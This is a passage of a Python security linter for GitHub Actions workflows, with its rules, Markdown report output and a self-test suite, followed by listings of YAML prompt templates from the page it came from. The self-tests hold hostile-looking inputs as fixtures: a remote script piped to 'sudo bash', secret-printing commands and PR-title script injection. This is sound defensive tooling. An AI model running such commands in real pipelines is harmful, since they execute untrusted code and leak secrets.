        elif ch == "#" and (i == 0 or line[i - 1] in " \t"):
            break
        out.append(ch)
    return "".join(out).rstrip()


def indent_of(s):
    return len(s) - len(s.lstrip(" "))


def parse_lines(text):
    """Return a list of (lineno, indent, content) for non-empty, non-comment lines."""
    rows = []
    for n, raw in enumerate(text.splitlines(), 1):
        s = strip_comment(raw.replace("\t", "  "))
        if s.strip():
            rows.append((n, indent_of(s), s.strip()))
    return rows


def block_end(rows, i):
    """Index after the block owned by rows[i] (all following rows indented deeper)."""
    ind = rows[i][1]
    j = i + 1
    while j < len(rows) and rows[j][1] > ind:
        j += 1
    return j


def key_of(content):
    c = content[2:].lstrip() if content.startswith("- ") else content
    m = re.match(r"^['\"]?([A-Za-z0-9_\-]+)['\"]?\s*:(\s|$)", c)
    return (m.group(1), c[m.end():].strip()) if m else (None, None)


def triggers(rows):
    trig = set()
    for i, (n, ind, c) in enumerate(rows):
        k, v = key_of(c)
        if ind == 0 and k in ("on", "true"):
            if v:
                trig.update(re.findall(r"[a-z_]+", v))
            else:
                end = block_end(rows, i)
                child = min((rows[j][1] for j in range(i + 1, end)), default=None)
                for j in range(i + 1, end):
                    if rows[j][1] == child:
                        ck, _ = key_of(rows[j][2])
                        if ck:
                            trig.add(ck)
                        elif rows[j][2].startswith("- "):
                            trig.add(rows[j][2][2:].strip())
    return trig


def audit_text(text, path="workflow.yml"):
    rows = parse_lines(text)
    findings = []

    def add(rule, sev, line, msg):
        findings.append({"file": path, "line": line, "rule": rule, "severity": sev, "message": msg})

    trig = triggers(rows)
    privileged = trig & {"pull_request_target", "workflow_run"}
    pr_triggers = trig & {"pull_request", "pull_request_target"}

    top_perm = None
    jobs_idx = None
    for i, (n, ind, c) in enumerate(rows):
        k, v = key_of(c)
        if ind == 0 and k == "permissions":
            top_perm = (n, v)
        if ind == 0 and k == "jobs":
            jobs_idx = i
    if top_perm and top_perm[1].strip("'\"") == "write-all":
        add("GHA006", "high", top_perm[0], "permissions: write-all gives every step write access to all scopes")

    # jobs
    jobs = []
    if jobs_idx is not None:
        end = block_end(rows, jobs_idx)
        child = min((rows[j][1] for j in range(jobs_idx + 1, end)), default=None)
        for j in range(jobs_idx + 1, end):
            if rows[j][1] == child and key_of(rows[j][2])[0]:
                jobs.append((j, block_end(rows, j)))
    jobs_with_perm = 0
    for (js, je) in jobs:
        jname = key_of(rows[js][2])[0]
        jind = rows[js][1]
        direct = [r for r in rows[js + 1:je] if r[1] == min(x[1] for x in rows[js + 1:je])] if je > js + 1 else []
        dkeys = {key_of(r[2])[0]: r for r in direct}
        if "permissions" in dkeys:
            jobs_with_perm += 1
            if dkeys["permissions"][2].split(":", 1)[1].strip().strip("'\"") == "write-all":
                add("GHA006", "high", dkeys["permissions"][0], f"job '{jname}' uses permissions: write-all")
        if "timeout-minutes" not in dkeys and "uses" not in dkeys:
            add("GHA012", "low", rows[js][0], f"job '{jname}' has no timeout-minutes (default is 360)")
        if "runs-on" in dkeys:
            ro_i = rows.index(dkeys["runs-on"])
            ro_text = " ".join(r[2] for r in rows[ro_i:block_end(rows, ro_i)])
            if "self-hosted" in ro_text and pr_triggers:
                add("GHA009", "medium", dkeys["runs-on"][0], f"job '{jname}' runs pull request code on a self-hosted runner")
    if top_perm is None and (not jobs or jobs_with_perm < len(jobs)):
        add("GHA005", "medium", 1, "no permissions block at workflow level (and not on every job); GITHUB_TOKEN gets the repo default")

    # line-level checks
    i = 0
    while i < len(rows):
        n, ind, c = rows[i]
        k, v = key_of(c)
        if k in ("run", "script"):
            end = block_end(rows, i)
            body = [(n, v)] if v and v not in ("|", ">", "|-", ">-", "|+", ">+") else []
            body += [(r[0], r[2]) for r in rows[i + 1:end]]
            for bn, bt in body:
                for m in EXPR.finditer(bt):
                    expr = m.group(1).strip()
                    if UNTRUSTED_EXPR.search(expr):
                        add("GHA002", "high", bn, f"untrusted expression {{{ {expr }}}} is pasted into {k}: (script injection); pass it via env")
                for m in SECRET_EXPR.finditer(bt):
                    if PRINT_CMD.search(bt):
                        add("GHA007", "high", bn, f"secret {m.group(1)} is printed in {k}:")
                    else:
                        add("GHA007", "medium", bn, f"secret {m.group(1)} is interpolated into {k}:; map it to env instead")
                if k == "run" and PIPE_SHELL.search(bt):
                    add("GHA008", "medium", bn, "remote script piped straight into a shell")
            i = end
            continue
        if k == "uses":
            ref = v.strip("'\"")
            if ref.startswith("./"):
                pass
            elif ref.startswith("docker://"):
                if "@sha256:" not in ref:
                    add("GHA013", "low", n, f"{ref} is not pinned to an image digest")
            else:
                name, _, at = ref.partition("@")
                owner = name.split("/")[0].lower()
                if not at or at.lower() in BRANCH_REFS:
                    add("GHA004", "high", n, f"{ref or name} follows a branch or has no ref; pin to a commit SHA")
                elif not SHA40.match(at):
                    sev = "low" if owner in TRUSTED_OWNERS else "medium"
                    add("GHA003", sev, n, f"{ref} is pinned to a tag, not a full commit SHA")
                if name.lower().startswith("actions/checkout"):
                    # the step block: siblings at this indent (after '- ') and deeper
                    step_ind = ind + 2 if c.startswith("- ") else ind
                    j = i + 1
                    j0 = i
                    while j0 > 0 and not rows[j0][2].startswith("- ") and rows[j0][1] >= step_ind:
                        j0 -= 1
                    while j < len(rows) and rows[j][1] >= step_ind and not (rows[j][1] == step_ind - 2 and rows[j][2].startswith("- ")):
                        j += 1
                    step = " ".join(r[2] for r in rows[j0:j])
                    if not re.search(r"persist-credentials:\s*['\"]?false", step):
                        add("GHA011", "low", n, "actions/checkout keeps the token in .git/config; add persist-credentials: false")
                if name.lower().startswith("actions/download-artifact") and "workflow_run" in trig:
                    add("GHA014", "medium", n, "artifact from a workflow_run may be attacker-controlled; treat as data")
        if privileged and PR_HEAD_REF.search(c):
            add("GHA001", "high", n, f"{'/'.join(sorted(privileged))} workflow checks out untrusted PR code with secrets available")
        if re.search(r"ACTIONS_ALLOW_UNSECURE_COMMANDS\s*:\s*['\"]?true", c, re.I):
            add("GHA010", "high", n, "ACTIONS_ALLOW_UNSECURE_COMMANDS re-enables set-env/add-path")
        i += 1

    findings.sort(key=lambda f: (f["file"], SEV_ORDER[f["severity"]], f["line"], f["rule"]))
    return {"file": path, "triggers": sorted(trig), "jobs": len(jobs), "findings": findings}


def to_markdown(results):
    out = ["# GitHub Actions security audit", ""]
    tot = {"high": 0, "medium": 0, "low": 0}
    for r in results:
        for f in r["findings"]:
            tot[f["severity"]] += 1
    out.append(f"**Files:** {len(results)}  **Findings:** {tot['high']} high, {tot['medium']} medium, {tot['low']} low")
    for r in results:
        out += ["", f"## {r['file']}", f"Triggers: {', '.join(r['triggers']) or 'none found'}; jobs: {r['jobs']}", ""]
        if not r["findings"]:
            out.append("No findings.")
            continue
        out += ["| Severity | Rule | Line | Finding |", "|---|---|---|---|"]
        for f in r["findings"]:
            msg = f["message"].replace("|", "\\|")
            out.append(f"| {f['severity']} | {f['rule']} | {f['line']} | {msg} |")
    return "\n".join(out)


SAFE = """name: CI
on:
  pull_request:
permissions:
  contents: read
jobs:
  test:
    runs-on: ubuntu-latest
    timeout-minutes: 15
    steps:
      - uses: actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955 # v4.3.0
        with:
          persist-credentials: false
      - name: Test
        env:
          PR_TITLE: { github.event.pull_request.title}
        run: |
          echo "Testing $PR_TITLE"
          make test
"""


def self_test():
    cases = []

    def ok(name, cond):
        cases.append((name, bool(cond)))

    def rules(text):
        return [(f["rule"], f["severity"]) for f in audit_text(text)["findings"]]

    ok("safe workflow has no findings", rules(SAFE) == [])
    ok("triggers parsed from block", audit_text(SAFE)["triggers"] == ["pull_request"])
    ok("triggers parsed from list", audit_text("on: [push, pull_request]\njobs: {}\n")["triggers"] == ["pull_request", "push"])
    inj = SAFE.replace('echo "Testing $PR_TITLE"', 'echo "{ github.event.pull_request.title}"')
    ok("title in run is GHA002 high", ("GHA002", "high") in rules(inj))
    ok("head_ref in run is GHA002", ("GHA002", "high") in rules(SAFE.replace("make test", "git push origin { github.head_ref}")))
    ok("comment body in github-script", ("GHA002", "high") in rules(SAFE.replace("run: |", "script: |")
                                                                      .replace("make test", "core.info('{ github.event.comment.body}')")))
    ok("env indirection is not flagged", not any(r == "GHA002" for r, _ in rules(SAFE)))
    ok("PR number is safe", rules(SAFE.replace("make test", "echo { github.event.pull_request.number}")) == [])
    ok("tag pin on actions/* is GHA003 low", ("GHA003", "low") in rules(SAFE.replace("@08eba0b27e820071cde6df949e0beb9ba4906955", "@v4")))
    ok("tag pin third party is medium", ("GHA003", "medium") in rules(SAFE.replace("actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955", "acme/checkout@v1")))
    ok("branch pin is GHA004 high", ("GHA004", "high") in rules(SAFE.replace("@08eba0b27e820071cde6df949e0beb9ba4906955", "@main")))
    ok("local action not flagged", rules(SAFE.replace("actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955", "./.github/actions/setup")) == [])
    ok("missing permissions is GHA005", ("GHA005", "medium") in rules(SAFE.replace("permissions:\n  contents: read\n", "")))
    ok("job-level permissions satisfy GHA005", rules(SAFE.replace("permissions:\n  contents: read\n", "").replace("    timeout-minutes: 15\n", "    timeout-minutes: 15\n    permissions:\n      contents: read\n")) == [])
    ok("write-all is GHA006", ("GHA006", "high") in rules(SAFE.replace("permissions:\n  contents: read", "permissions: write-all")))
    ok("echoed secret is GHA007 high", ("GHA007", "high") in rules(SAFE.replace("make test", "echo { secrets.NPM_TOKEN}")))
    ok("inline secret is GHA007 medium", ("GHA007", "medium") in rules(SAFE.replace("make test", "npm publish --token { secrets.NPM_TOKEN}")))
    ok("curl | bash is GHA008", ("GHA008", "medium") in rules(SAFE.replace("make test", "curl -fsSL https://x.sh | sudo bash")))
    ok("self-hosted on PR is GHA009", ("GHA009", "medium") in rules(SAFE.replace("ubuntu-latest", "[self-hosted, linux]")))
    ok("self-hosted on push is fine", rules(SAFE.replace("pull_request:", "push:").replace("ubuntu-latest", "self-hosted")) == [])
    ok("unsecure commands is GHA010", ("GHA010", "high") in rules(SAFE.replace("PR_TITLE: { github.event.pull_request.title}", "ACTIONS_ALLOW_UNSECURE_COMMANDS: true")))
    ok("checkout without persist-credentials is GHA011", ("GHA011", "low") in rules(SAFE.replace("        with:\n          persist-credentials: false\n", "")))
    ok("missing timeout is GHA012", ("GHA012", "low") in rules(SAFE.replace("    timeout-minutes: 15\n", "")))
    ok("docker tag is GHA013", ("GHA013", "low") in rules(SAFE.replace("actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955 # v4.3.0", "docker://alpine:3.20")))
    prt = SAFE.replace("pull_request:", "pull_request_target:").replace("persist-credentials: false", "persist-credentials: false\n          ref: { github.event.pull_request.head.sha}")
    ok("pull_request_target + head checkout is GHA001", ("GHA001", "high") in rules(prt))
    ok("pull_request + head checkout is not GHA001", not any(r == "GHA001" for r, _ in rules(SAFE.replace("persist-credentials: false", "persist-credentials: false\n          ref: { github.event.pull_request.head.sha}"))))
    wr = SAFE.replace("pull_request:", "workflow_run:\n    workflows: [CI]").replace("      - name: Test", "      - uses: actions/download-artifact@634f93cb2916e3fdff6788551b99b062d0335ce0 # v5\n      - name: Test")
    ok("workflow_run + download-artifact is GHA014", ("GHA014", "medium") in rules(wr))
    ok("comment with # in string kept", strip_comment('run: echo "a # b" # note') == 'run: echo "a # b"')
    md = to_markdown([audit_text(inj, "ci.yml")])
    ok("markdown lists file and rule", "## ci.yml" in md and "GHA002" in md)
    passed = sum(c for _, c in cases)
    for name, c in cases:
        print(("PASS " if c else "FAIL ") + name)
    print(f"{passed}/{len(cases)} passed")
    return 0 if passed == len(cases) else 1


def main(argv=None):
    ap = argparse.ArgumentParser(description="Lint GitHub Actions workflow files for security risks.")
    ap.add_argument("files", nargs="*", help="workflow .yml files ('-' for stdin)")
    ap.add_argument("--json", action="store_true")
    ap.add_argument("--strict", action="store_true", help="exit 1 on any finding")
    ap.add_argument("--self-test", action="store_true")
    a = ap.parse_args(argv)
    if a.self_test:
        return self_test()
    if not a.files:
        ap.error("at least one workflow file required (or --self-test)")
    results = []
    for p in a.files:
        try:
            text = sys.stdin.read() if p == "-" else open(p, encoding="utf-8").read()
        except OSError as e:
            print(f"error: {e}", file=sys.stderr)
            return 2
        results.append(audit_text(text, p))
    print(json.dumps(results, indent=2) if a.json else to_markdown(results))
    allf = [f for r in results for f in r["findings"]]
    if any(f["severity"] == "high" for f in allf) or (a.strict and allf):
        return 1
    return 0


if __name__ == "__main__":
    sys.exit(main())
GitHub ActionsSecurityCI/CD+2
F@f
0
Puppy Training and Socialization Plan Builder (YAML)
Text

Build a positive-reinforcement eight-week puppy plan as YAML: daily schedule, house training, crate and night comfort, weekly cues, handling and safe socialization exposures, nipping help, stress signals, reward plan, household rules, progress tracker, and when to get a pro.

1role: Friendly, evidence-based puppy training and socialization planner
2task: >
3 Build a practical eight-week training and socialization plan for a new puppy as YAML.
4 The plan uses positive reinforcement only, fits the household's daily schedule, and
5 covers house training, crate or rest-area comfort, handling, basic cues, bite inhibition,
6 alone time, and calm, gradual exposure to everyday sights, sounds, people, and places.
7
8inputs:
9 puppy_name: ${puppy_name:Biscuit}
10 breed_or_mix: ${breed:Labrador mix}
...+70 more lines
TrainingChecklistDaily Routine+2
F@f
0
Household Emergency Preparedness Plan Builder (YAML)
Text

Build a personalized household emergency plan as YAML: local hazards with first actions, out-of-area contact and check-in rules, meeting points, evacuation grab list and pet plan, go bag and home kits, utility shut-offs, free-first budget, practice drills, and a fridge summary.

1role: Calm, practical household emergency preparedness planner
2task: >
3 Turn a short description of a household into a personalized emergency preparedness
4 plan in YAML: likely local hazards, a communication plan, meeting points, supply kits,
5 home safety checks, and a simple practice schedule. The plan must be realistic for the
6 household's budget, space, and abilities, and easy to print and stick on the fridge.
7
8ask_first:
9 - Location type and climate (city apartment, suburban house, rural home; coastal, river valley, mountains, hot or cold region)
10 - Hazards the household worries about or that local authorities warn about (storms, floods, wildfires, earthquakes, heat waves, winter storms, power outages)
...+76 more lines
YAMLSafetyPlanning+2
F@f
0
Load Test Plan Builder (YAML)
Text

Design a safe, repeatable load test as YAML: scope and mocked dependencies, environment parity gaps, weighted user journeys with think time, smoke-to-soak scenarios with ramps, numeric p95/p99 and error-rate gates, dashboards, abort conditions with a stop owner, schedule, and reporting.

1role: Performance engineer who designs safe, realistic load tests
2task: >
3 Turn a short description of a web service, API, or background worker into a complete
4 load test plan in YAML that a team can review, run, and repeat. The plan must protect
5 production, model real traffic, and define clear pass/fail criteria before any test runs.
6
7ask_first:
8 - What is being tested (service name, endpoints or jobs, dependencies such as databases, caches, queues, third-party APIs)
9 - Current traffic shape (average and peak requests per second, daily pattern, read/write mix, payload sizes)
10 - Business goal for the test (launch readiness, capacity for an event, regression check, cost tuning)
...+78 more lines
YAMLTestingPerformance+2
F@f
0
Open Source Release Checklist Builder (YAML)
Text

Build a YAML release checklist for an open-source project: SemVer bump, Keep-a-Changelog draft, quality gates, publishable artifacts, annotated tags and GitHub Release steps, announce blurbs per channel, post-release tasks, and a rollback plan, with ship_ready blocked when CI is red.

1role: Open Source Release Checklist Builder
2goal: >
3 Turn an upcoming open-source release into a concrete YAML checklist covering
4 version bump, changelog, artifacts, tests, security notes, and announce
5 channels, so maintainers ship without forgetting a step.
6
7ask_first:
8 - project: "Repo name, primary language, and package registry (npm, PyPI, crates.io, Maven, Go module, or none)"
9 - current_version: "SemVer currently on main/default branch"
10 - target_version: "Proposed SemVer and bump type (patch | minor | major | pre-release)"
...+55 more lines
YAMLGitRelease Notes+2
F@f
0
Weekend DIY Project Planner (YAML)
Text

Plan one home DIY project as a realistic weekend: a single shopping list with specs and costs, tools to buy, borrow, or rent, safety gear and checks, Friday prep plus Saturday and Sunday time boxes that include drying time, stop-and-check points, common mistakes, and a fallback if you run late, all in YAML.

1role: Weekend DIY Project Planner
2goal: >
3 Turn one home DIY project into a realistic two-day plan with a complete
4 materials and tools list, ordered steps, time boxes, and safety checks,
5 so I finish by Sunday evening without a half-done mess.
6
7ask_first:
8 - project: "What are you building, fixing, or improving? (e.g. floating shelves, re-grouting a shower, painting a door)"
9 - space: "Room, dimensions, wall or floor type, and any photos or measurements you have"
10 - skill_level: "beginner | some experience | confident"
...+51 more lines
PlanningProductivityYAML+1
F@f
0
1 / 2Next